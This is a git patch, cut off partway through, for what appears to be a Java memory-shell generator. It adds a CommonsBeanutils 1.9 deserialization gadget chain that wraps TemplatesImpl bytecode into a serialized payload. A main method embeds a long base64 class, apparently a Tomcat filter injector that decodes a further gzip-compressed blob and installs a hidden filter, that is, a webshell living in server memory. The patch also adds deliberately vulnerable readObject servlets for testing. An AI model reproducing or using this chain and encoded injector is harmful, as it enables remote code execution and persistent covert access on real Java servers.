From 5e0b47956d9f37f177cddfeba990e092d180765a Mon Sep 17 00:00:00 2001 From: ReaJason Date: Tue, 10 Dec 2024 21:07:41 +0800 Subject: [PATCH] feat: support deserialize packer (but only CB4) --- deserialize/build.gradle | 46 ++++++++++++++++ .../deserialize/CommonsBeanutils19.java | 46 ++++++++++++++++ .../javaweb/deserialize/TemplateUtils.java | 52 +++++++++++++++++++ .../deserialize/utils/Reflections.java | 49 +++++++++++++++++ generator/build.gradle | 23 ++++++++ .../memsell/packer/DeserializePacker.java | 31 +++++++++++ .../javaweb/memsell/packer/Packer.java | 21 +++++++- .../tomcat/injector/TomcatFilterInjector.java | 33 +++++------- .../tomcat/injector/TomcatValveInjector.java | 2 + integration-test/build.gradle | 9 ++++ .../tomcat/docker-compose-5-jdk6.yaml | 2 +- .../DoesNotContainExceptionMatcher.java | 27 ++++++++++ .../integration/ShellAssertionTool.java | 17 +++--- .../reajason/javaweb/integration/VulTool.java | 6 +-- .../jetty/Jetty10ContainerTest.java | 17 +++++- .../jetty/Jetty11ContainerTest.java | 23 +++++++- .../jetty/Jetty61ContainerTest.java | 19 +++++-- .../jetty/Jetty76ContainerTest.java | 18 ++++++- .../jetty/Jetty81ContainerTest.java | 19 ++++++- .../jetty/Jetty92ContainerTest.java | 19 ++++++- .../jetty/Jetty93ContainerTest.java | 19 ++++++- .../jetty/Jetty94ContainerTest.java | 17 +++++- .../tomcat/Tomcat10ContainerTest.java | 19 ++++++- .../tomcat/Tomcat11ContainerTest.java | 10 ++++ .../tomcat/Tomcat5ContainerTest.java | 19 +++++-- .../tomcat/Tomcat6ContainerTest.java | 21 ++++++-- .../tomcat/Tomcat7ContainerTest.java | 19 ++++++- .../tomcat/Tomcat8ContainerTest.java | 19 ++++++- .../tomcat/Tomcat9ContainerTest.java | 21 +++++++- settings.gradle | 4 +- vul-webapp-jakarta/build.gradle | 1 + .../src/main/java/JavaReadObjServlet.java | 41 +++++++++++++++ .../src/main/webapp/WEB-INF/web.xml | 11 ++++ vul-webapp/build.gradle | 1 + .../src/main/java/JavaReadObjServlet.java | 38 ++++++++++++++ .../src/main/java/ScriptEngineServlet.java | 4 +- vul-webapp/src/main/webapp/WEB-INF/web.xml | 9 ++++ 37 files changed, 690 insertions(+), 62 deletions(-) create mode 100644 deserialize/build.gradle create mode 100644 deserialize/src/main/java/com/reajason/javaweb/deserialize/CommonsBeanutils19.java create mode 100644 deserialize/src/main/java/com/reajason/javaweb/deserialize/TemplateUtils.java create mode 100644 deserialize/src/main/java/com/reajason/javaweb/deserialize/utils/Reflections.java create mode 100644 generator/src/main/java/com/reajason/javaweb/memsell/packer/DeserializePacker.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/DoesNotContainExceptionMatcher.java create mode 100644 vul-webapp-jakarta/src/main/java/JavaReadObjServlet.java create mode 100644 vul-webapp/src/main/java/JavaReadObjServlet.java diff --git a/deserialize/build.gradle b/deserialize/build.gradle new file mode 100644 index 00000000..361b1ced --- /dev/null +++ b/deserialize/build.gradle @@ -0,0 +1,46 @@ +plugins { + id "io.freefair.lombok" version "8.11" +} + +group = 'com.reajason.javaweb' + +dependencies { + implementation 'net.bytebuddy:byte-buddy:1.+' + implementation 'commons-beanutils:commons-beanutils:1.9.3' + testImplementation platform('org.junit:junit-bom:5.+') + testImplementation 'org.junit.jupiter:junit-jupiter' +} + + +def runtimeJvmArgs = [ + '--add-opens=java.base/java.lang=ALL-UNNAMED', + '--add-opens=java.base/java.util=ALL-UNNAMED', + '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', + '--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' +] + +tasks.withType(JavaCompile).configureEach { + options.compilerArgs += [ + '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED', + '--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED' + ] +} + +tasks.withType(Test).configureEach { + jvmArgs += runtimeJvmArgs +} + +// For running the application +tasks.withType(JavaExec).configureEach { + jvmArgs += runtimeJvmArgs +} + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(11) + } +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/deserialize/src/main/java/com/reajason/javaweb/deserialize/CommonsBeanutils19.java b/deserialize/src/main/java/com/reajason/javaweb/deserialize/CommonsBeanutils19.java new file mode 100644 index 00000000..4045117a --- /dev/null +++ b/deserialize/src/main/java/com/reajason/javaweb/deserialize/CommonsBeanutils19.java @@ -0,0 +1,46 @@ +package com.reajason.javaweb.deserialize; + +import com.reajason.javaweb.deserialize.utils.Reflections; +import lombok.SneakyThrows; +import org.apache.commons.beanutils.BeanComparator; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.util.Base64; +import java.util.PriorityQueue; + +/** + * @author ReaJason + * @since 2024/12/3 + */ +public class CommonsBeanutils19 { + @SneakyThrows + public static Object getPayload(byte[] bytes) { + Object obj = TemplateUtils.createTemplatesImpl(bytes); + final BeanComparator comparator = new BeanComparator<>(null, String.CASE_INSENSITIVE_ORDER); + final PriorityQueue queue = new PriorityQueue<>(2, comparator); + queue.add("1"); + queue.add("1"); + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{obj, obj}); + return queue; + } + + public static void main(String[] args) { + String base64 = "yv66vgAAADIBvQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAQWNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yAQAKZ2V0Q29udGV4dAEAEigpTGphdmEvdXRpbC9MaXN0OwsADgAPBwAQDAARABIBAA5qYXZhL3V0aWwvTGlzdAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwsAFAAVBwAWDAAXABgBABJqYXZhL3V0aWwvSXRlcmF0b3IBAAdoYXNOZXh0AQADKClaCwAUABoMABsAHAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwoACAAeDAAfACABAAlnZXRGaWx0ZXIBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoACAAiDAAjACQBAAlhZGRGaWx0ZXIBACcoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KVYHACYBABNqYXZhL2xhbmcvRXhjZXB0aW9uCAAoAQAOe3t1cmxQYXR0ZXJufX0IACoBAA17e2NsYXNzTmFtZX19CAAsAQANe3tiYXNlNjRTdHJ9fQgALgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIKADAAMQcAMgwAMwA0AQAPamF2YS9sYW5nL0NsYXNzAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsIADYBAAxkZWNvZGVCdWZmZXIHADgBABBqYXZhL2xhbmcvU3RyaW5nCgAwADoMADsAPAEACWdldE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsKADAAPgwAPwAcAQALbmV3SW5zdGFuY2UKAEEAQgcAQwwARABFAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwBHAQACW0IIAEkBABBqYXZhLnV0aWwuQmFzZTY0CABLAQAKZ2V0RGVjb2RlcgoAAgBNDABOAE8BAAhnZXRDbGFzcwEAEygpTGphdmEvbGFuZy9DbGFzczsIAFEBAAZkZWNvZGUHAFMBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQoAUgADBwBWAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQoAVQBYDAAFAFkBAAUoW0IpVgcAWwEAHWphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtCgBaAF0MAAUAXgEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgoAWgBgDABhAGIBAARyZWFkAQAFKFtCKUkKAFIAZAwAZQBmAQAFd3JpdGUBAAcoW0JJSSlWCgBSAGgMAGkAagEAC3RvQnl0ZUFycmF5AQAEKClbQgoAMABsDABtAG4BABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7BwBwAQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uCgAwAHIMAHMATwEADWdldFN1cGVyY2xhc3MKAG8AdQwABQB2AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWCgB4AHkHAHoMAHsAfAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkAQANc2V0QWNjZXNzaWJsZQEABChaKVYKAHgAfgwAfwAgAQADZ2V0CgAIAIEMAIIAgwEADGludm9rZU1ldGhvZAEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoAMACFDACGAIcBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwoAQQCJDACKAIsBAAdnZXROYW1lAQAUKClMamF2YS9sYW5nL1N0cmluZzsKADcAjQwAjgCPAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaCgBBAJEMAJIAkwEAEWdldFBhcmFtZXRlclR5cGVzAQAUKClbTGphdmEvbGFuZy9DbGFzczsKADAAlQwAlgA8AQARZ2V0RGVjbGFyZWRNZXRob2QHAJgBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uCgCXAHUKAEEAeQcAnAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uBwCeAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24KAJsAoAwAoQCLAQAKZ2V0TWVzc2FnZQoAnQB1BwCkAQATamF2YS91dGlsL0FycmF5TGlzdAoAowADBwCnAQAQamF2YS9sYW5nL1RocmVhZAgAqQEACmdldFRocmVhZHMKAAgAqwwAggCsAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsHAK4BABNbTGphdmEvbGFuZy9UaHJlYWQ7CgCmAIkIALEBABxDb250YWluZXJCYWNrZ3JvdW5kUHJvY2Vzc29yCgA3ALMMALQAtQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaCAC3AQAGdGFyZ2V0CgAIALkMALoArAEADWdldEZpZWxkVmFsdWUIALwBAAZ0aGlzJDAIAL4BAAhjaGlsZHJlbgcAwAEAEWphdmEvdXRpbC9IYXNoTWFwCgC/AMIMAMMAxAEABmtleVNldAEAESgpTGphdmEvdXRpbC9TZXQ7CwDGAA8HAMcBAA1qYXZhL3V0aWwvU2V0CgC/AH4KADAAiQgAywEAD1N0YW5kYXJkQ29udGV4dAsADgDNDADOAI8BAANhZGQIANABABVUb21jYXRFbWJlZGRlZENvbnRleHQKAKYA0gwA0wDUAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwoAMADWDADXAIsBAAh0b1N0cmluZwgA2QEAGVBhcmFsbGVsV2ViYXBwQ2xhc3NMb2FkZXIIANsBAB9Ub21jYXRFbWJlZGRlZFdlYmFwcENsYXNzTG9hZGVyCADdAQAJcmVzb3VyY2VzCADfAQAHY29udGV4dAoAnQDhDAAFAOIBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYKAKYA5AwA5QDmAQANY3VycmVudFRocmVhZAEAFCgpTGphdmEvbGFuZy9UaHJlYWQ7CgAwAOgMAOkA1AEADmdldENsYXNzTG9hZGVyCgAIAOsMAOwAiwEADGdldENsYXNzTmFtZQoA7gDvBwDwDADxADQBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAlsb2FkQ2xhc3MKAAgA8wwA9ACLAQAPZ2V0QmFzZTY0U3RyaW5nCgAIAPYMAPcA+AEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IKAAgA+gwA+wD8AQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IIAP4BAAtkZWZpbmVDbGFzcwkBAAEBBwECDAEDAQQBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFMamF2YS9sYW5nL0NsYXNzOwoBAAEGDAEHAQgBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwcBCgEAE2phdmEvbGFuZy9UaHJvd2FibGUKAQkBDAwBDQAGAQAPcHJpbnRTdGFja1RyYWNlCgAIAQ8MARAA1AEAEWdldENhdGFsaW5hTG9hZGVyCAESAQANZmluZEZpbHRlckRlZggBFAEAL29yZy5hcGFjaGUudG9tY2F0LnV0aWwuZGVzY3JpcHRvci53ZWIuRmlsdGVyRGVmCAEWAQAvb3JnLmFwYWNoZS50b21jYXQudXRpbC5kZXNjcmlwdG9yLndlYi5GaWx0ZXJNYXAIARgBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJEZWYIARoBACRvcmcuYXBhY2hlLmNhdGFsaW5hLmRlcGxveS5GaWx0ZXJNYXAKADABHAwAMwEdAQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwgBHwEADXNldEZpbHRlck5hbWUIASEBAA5zZXRGaWx0ZXJDbGFzcwgBIwEADGFkZEZpbHRlckRlZggBJQEADXNldERpc3BhdGNoZXIIAScBAAdSRVFVRVNUCAEpAQANYWRkVVJMUGF0dGVybgoACAErDAEsAIsBAA1nZXRVcmxQYXR0ZXJuCAEuAQAwb3JnLmFwYWNoZS5jYXRhbGluYS5jb3JlLkFwcGxpY2F0aW9uRmlsdGVyQ29uZmlnCgAwATAMATEBMgEAF2dldERlY2xhcmVkQ29uc3RydWN0b3JzAQAiKClbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwgBNAEADXNldFVSTFBhdHRlcm4IATYBABJhZGRGaWx0ZXJNYXBCZWZvcmUIATgBAAxhZGRGaWx0ZXJNYXAKAToAeQcBOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yCgE6AT0MAD8BPgEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgBQAEADWZpbHRlckNvbmZpZ3MHAUIBAA1qYXZhL3V0aWwvTWFwCwFBAUQMAUUBRgEAA3B1dAEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7CgAlAQwKAAgAAwEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAZmaWx0ZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAhjb250ZXh0cwEAEExqYXZhL3V0aWwvTGlzdDsBAAR0aGlzAQBDTGNvbS9yZWFqYXNvbi9qYXZhd2ViL21lbXNlbGwvdG9tY2F0L2luamVjdG9yL1RvbWNhdEZpbHRlckluamVjdG9yOwEAFkxvY2FsVmFyaWFibGVUeXBlVGFibGUBACRMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBAA1TdGFja01hcFRhYmxlAQAMZGVjb2RlckNsYXNzAQAHZGVjb2RlcgEAB2lnbm9yZWQBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAliYXNlNjRTdHIBABJMamF2YS9sYW5nL1N0cmluZzsBABRMamF2YS9sYW5nL0NsYXNzPCo+OwEACkV4Y2VwdGlvbnMBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEAD2d6aXBJbnB1dFN0cmVhbQEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAAFuAQABSQcBaAEAE2phdmEvaW8vSU9FeGNlcHRpb24BAAR2YXI1AQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBAANvYmoBAARuYW1lAQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQAFY2xhenoBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lBwFzAQAramF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvblRhcmdldEV4Y2VwdGlvbgEABXZhbHVlAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQABZQEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BABNbTGphdmEvbGFuZy9PYmplY3Q7AQAGbWV0aG9kAQAJdGVtcENsYXNzAQAVW0xqYXZhL2xhbmcvQ2xhc3M8Kj47BwF8BwF+BwF3AQAJU2lnbmF0dXJlAQBgKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzPCo+O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEa2V5MQEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAB3RocmVhZHMBABdMamF2YS91dGlsL0hhc2hNYXA8Kio+OwEAJigpTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAJY2xhenpCeXRlAQACZTEBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAtjbGFzc0xvYWRlcgEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAJZmlsdGVyRGVmAQAJZmlsdGVyTWFwAQACZTIBAAxjb25zdHJ1Y3RvcnMBACBbTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEADGZpbHRlckNvbmZpZwEAD0xqYXZhL3V0aWwvTWFwOwEADmNhdGFsaW5hTG9hZGVyAQAPZmlsdGVyQ2xhc3NOYW1lAQAjW0xqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjwqPjsHAZkHAaEBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBowEAIGphdmEvbGFuZy9JbnN0YW50aWF0aW9uRXhjZXB0aW9uAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQAZVG9tY2F0RmlsdGVySW5qZWN0b3IuamF2YQEAIWNvbS9nb29nbGUvZ3NvL0NsYnFTL0VuY29kaW5nVXRpbAcBpwoBqAAJCgGoAB4KAagAIgEAI0xjb20vZ29vZ2xlL2dzby9DbGJxUy9FbmNvZGluZ1V0aWw7AQACLyoIAa0BAClvcmcuYXBhY2hlLmh0dHAuY2xpZW50LmNkbFh6LkVycm9ySGFuZGxlcggBrwEPgEg0c0lBQUFBQUFBQS82VlllWHdieFJYK3hwSzlzcnc1a0hNNUJ6bEpmQ3R4Yk1leGM5bU9FeHRzSjhRaFlBdy9XTXRyVzdFc0thdVZZOGRKRDBwUFNrdnYwcHVXa3JZL2FKTkNsSmdVU0MrZzlBb3RiU24wcEgvMHBLVjNhU251TjdzclJiTGxwUHo0UXpPejg5NjhlZTk3eDh6b2laY2ZmQmhBbGFqMUlnY3VCVzRWdWNnVG1IOVFHOUg4SVMwODRHOE9hYkZZZTBUcjB3MkJ2QzNCY05EY0p1QXFMam5nZ1VkQUdSOGYwc2VPSGN1SEZ3VUtWQld6TUZ1Z0lSQVo5aHU2ZGxDTFJjSitLZTJ3M3VzZjFvZGplaWprTnlQREFjMzBEMFQ2amdSREljMi8yeG5zQ29aTXVZMkxJZ1Y4N1JlMDZES05ZSGlnd1lPNUFwN3g4U2gxc3ZmMHFTaVVHN3JsbEFmekxZMkcrMnBzNmtJVml5VFZ4UmtQRmd2TUhoOGYxS1V0bmRxd2J2TXNWYkZNOG5ndkVEeFlMakFueVhwQUM4VWQzcFVxVmtuZWdqU0toRzZOeE8wS2djWEY3Vm1SYXlnNUlObldxU2hHQ1pmMzZmM0JzRzR4Q0N3czdtbHFheXVadXBMR2xsSHp4cFl1THlwUXFjQ3ZZajAyQ0JSS3hsRi93QmlMbWhGL2N6QTZLREVyR05ETnRuRE0xTUlCWGFDa2VEcDQ5ZzVURmpZbzJDaXdQSU1TaStvQmY1Y2VNSFR6S24yc2kxOWUxS0JXd1NZVmRkZ3NNSGVxYkRxRjJ6ZU5tVHJ0Y1JlWDlEUjVVWVVHaWNvVzI4QXM2aHlRZG0xVHNSMDd1RWdHbG1SdHN6bGplaUJ1Qk0weFB6VndXSnRVTkdNbkhkd1gyUlVNYXlHR0l3VnpMd1c3SEZUc0RWcEdBM3JVREViQ0Nsb0ZyckJ0aStuR1NFZzMvWU9tR2ZXM3N1bXlKL2JwaCtKNnpGUndwY0RhUzdIR29wRndUQy9BYnJTcjZFQ25RRDd0YnRYdDdGZzdJK2daVXhMTXZTcXV4ajdDRm9pRVRTMFlKbXhMTW1KblVETzZwR2IwWmtQSjlYTEgvU3F1d1FIR0tYZnMwbU14Mmlld3FqanAxU3hLV3p3TmN1MTFLcnFsdGlyWDd0VU1oamp6ek11QTdsRnhBMjRrb1ZlTDZiWFZPL1ZBcEkvaHN5Q2JKZEtwWHR5azRtWm9BbUtVbmlEKzEzUGVnd0Evb3RwWWlORmVBQjM5Q2daVURDSW9jUG5GMWJOMWFqUzVSMi9jMUM4TjRwN2VnM3JBSkloRENDa1lWaEZHSkNNaWJRWTdJcDBNS3l5ZW5sMWVISUtoSUtiQ1JKelpQb1hPVXBGY255eCtSZE9sT05rdGNWa2ptMUVWWXpoQ2NLNW1EWlhCT1cxYmljNVJGY2Z3R2xvZXk3QjhYUmJMcHhzdTYrN3JHQVhScEJ0ajBzRkhGYnhCWUpuRkhZejRaU1kyR29ZMnRpZHVSdU1taGVuYXNCZTN3Q1hOZnBPS04rTXRMQmxoL2ZDRmtqR3ZPQXZNQ3Q0bXNPTEN0TTF1QmpXWlhtbDU5dlpNcmxCSUg5QkNqWUVBblp6RzlRNVd5QXRjKytJVU5LeW42Rjdjamp0a3lYaVh3S0owTFBZUEdwSERXbTlJdHdyQkVONmo0cjE0SDlPZkNhS0ZZaExxTERneGFkcndBUlVmeEoxMm1sN0xlaUw5dURCcEtJSGFTNVFkZ3BXWEgxYnhFWHlVL0xGNGI4d3BiUXVLTTZ0ektvMC9qazhvdUV2RkovR3BaUDNKRkNtUWUxZ09wbWlZVmdDSDhHa1Y5K0E0dzlXTUpHdHBwaWRTMjkyQ3o2cjRuS3kvQldZazVXRVpkdmVxdUErZlQyVnhTemlaeFprUm1GWi9Ua2c3VDBxOXNwbFdnUHZ4Z0lKVEtoSTR6Y0RQVEdIN2xHYUZDako3UGJJWTI2ZjJqdUlwcFNpendqYk1STFdMcWhYWUUwNG1WOGJOWUtpeXliSkdSdXhaRlYvQ1E2d3gvUkhyZ0daVnYwU1pTQjZoajlnRjA0YUUrZjVsM2l0NnNoYURyNnI0R3I1dWgwcUhiZzVHK2xJbVpld3lmWFg2dm9iZUgyTDQrVzBKekovSEdCbzkyZXJYTi9DRWdtK3ErQmErelhpZlNRS2pQQmdlaVF6UjVNMVpvanlMNUN4WjdNRjNXYzkwQzRQOVRwZ3BlRklnUjlidTd6TlNZdkZ3NVhBd0ZxaHNhdXhxU1VhUTRjRVBaSlpaSHg3OHlJYlNQaU5JK3pGcGZicE5lM2E2akJUZlR4bVlObDlUdkw5Zk91SG5qUEZzTWNWclFMTVZ1WFBhZVQzcWpBLzM2c1orbWZqeU1oZ0phS0VEbWhHVTM4NmsyeHdNTXYyM3RyK0syMllEcXpVcjlzSVpTanN4Q3ZReUtMcUNBMkhOakJ1NnJFMVpDdnVXMG0xU0VzL0IrVm12V1ZSMlJET3FrK1FwRnhXNWxJYUlZZjZ1RjVqVlpXcUJvUTR0NnRqWjgrb3lxMzNHL0dYU2NjZit6THUyRXpRa2NPdjBtTnRuUjJad1JOOFQxWTNNSTREc2VacGg4THpoYlRKVlhyT2VRMlJWWXNuVGY4V2xyaThFcms4emVlR1lIY3N3bWplTGk0UENLSXBsQXBIVWJHYWtXTEFEZGwxYmNoSFFxTCtSVkdMZHpQcFAwY1pqcE5TWTZzNlpMcG9OaWxBRWxsN01URVhrTytmK2pGWXBvc0M1Mmw3YWpVengxRGltaU5uVDdtK083QXVIdXBpYmR2YTE3VW1UdEh5cW1RNkdrWEIvY01DS1BMVS9iWWFHWG94ZjN2dHByeEhoeTFDeFM1SjhrTm9ubnNCbDA2cXluWEcxVE9CZXBsYnVpSHlyc1VwbDFwR3hhTEtXek11ZTBZcGR1YmlWdHlzU053STZsU0ozWVdZUnFaUnIrZXFLR0FOK0xhb0ZCblhicDRGUVVBK2Iva0JmNkxvai9oYkRpQml0V3JndnhCb29WbmhRbUM5V3dzY2piMk9nVmwvZlc2ZHREbXlvcWFxcTFqeGlqU1RSYlNzMmJHamVXZHRZdDZtbWJuTmQ5WWJhamJYTkd6YzFOdGRWMVRaV05hNnZibXIyaUhXU2RTSDF1NGE0VlRRT2NFT1BLSldUUzJXRkpHWWVVU0UvVndxVXRmL2ZHalo0dWFSSE5qZkpabzFzUm1Wekx3V3Q1R05XNEdlOHF3bjUzZ2ZZRnpyOUlxZGY1dlNyckQ2Zm8xemtzZjBGdjZxdDlVQng2V21JMGtLeDZwUll6ZTZLVTJJdHUrSlRvb1JkMlNsUnpxN3lsUENmQkN4WmZHUTdFbW9vSVlkOVNXblphYXgrQlNKNFArZENLV0lyM0phSS9OSXlWOW5EcDdIMkJEOXk4RXUyZVpaMnkvRWMyd1UyRTM0bDFsc2k4dkZyUEVuNmJ5enUzM0xFOTVDajFkTmM2V1pmN2lzOWcvTE9pcVYzUW5FZmh6djNMS3E2U3g4UWF4T285dEhtK2dTMlZwUWwwSGlpVTV5d2tVQUpXdURDbnpuZUF0Y2s1c0N0aUpVS3pndUZiMS9aVEpLVVBwZkRSa3dTYjVjektibGFMUDBYRUNrUXF6eXN4V3Fzbyt4aWxMSjl6c0plK21FMWZvZmZjNzlTMnZBSFBNOFJ0VTdaV0k0L1dqYkswWi93Z3VXdEJQNWlBNWR6SHlVVUVNdGxaZWV3dTk1ZGZnNXQ5YmxGYnRwWFBvR3JjdkFvWGtqNzRzQ2Z3SjQ3OFd5UmV3SmRBdlY1Rm5YMUJLN053Um14b1Y0cExWSmNDVkZWcnhUbCtYb24wSmVEeDdCS2pzK0tsZDJsQ1J4TUlIcGFiQ3hTRXFKNkF1TXVITWR0Ulc3ZmE0dVVDYnplaGJPNHBmczBicTMzcEphZnc2RUUzbGlmZnh4ejZyMW5jWHQza2ZjMDN2bElVWDZSSjRGM1g4dmViZlc1RTNpL2tCcVd1T2JPVGVCRENYeXNLRCtCdTFNVXlmOFpOM1U3STJvazhjSUN5ZjhGVGgxSFFVVVpMZjJpMUdwV2ZWN3k0eVFodlFOMzRXNjgxZWx2Z3lybUNGL0t6U0Y0Sm5FVUh1azlrYWNJajRMN0ZleFcwS1pBcHorQlNib3VmeWF5d2djQmp3ZnZTL0ovdDZGSmRDRnZPaXU5cFRReEt2S3RzRGlJeFd6WDAvMGJvR0lqL0F5R09xWlNLMnB4TlRiaFJuNGRSVDFmaHczVWVSdTFicVRlMi9sQTJZRVRhTUlaTkJQYW5YaUtOanlEWGJSaXQzRGpTb2JkVldJTzl0QzJEakVQbldJcDlscWhkaXVMdzEyMDlxLzRHOVBtSHI1VS9vNS9zTDJEYis1LzRsL3dVT3AraDFySGkvQ0wrRGQxYStWZC96OE1QNFd5UEZ6eFBPY1liTW5nNU9nbC9GY0dKMGN2RTZNY09XTHdDKzZVSnhhS0hPRmlFcXJpTXVFV3VjZ1ZxcFhRT1dJV2RSVFlMaTV6OHIvR1NtQXVQamtsNy9lbjViMUk1WVFRUGxISVZvcHpzNS9GMzd4VVJTdXplTE1JdTg0U3B0cEVSMWkrZks3WldnaWRmREpaUjBXNzc4d1pQTmhSN250WW5NTzVCTDVTenY3UkJCN3ZyR0FLK0w3amZnaUh1bDIrODEwa1ZmQmpxTnRWeXZIajUxRFRmaHliTzMzZnM1Ykx3SGZMK0Q3b2V5cDlTWkY3MnByY2VuZlpDYXVRYnFXSFcranRRL1JNQzgyVDhWa2l5OUFPV1dZWWF6VldjWmxrMExpZGIxbHI1TnlMTkV1YVd3V0p6QTBVZGhQZGRqT1dzQ3B1UlpBU2VpbTREN3Vob3dQOTNHS1Ftd3hnaE9Fb29XbWxwQ1ZZSmVZekRGe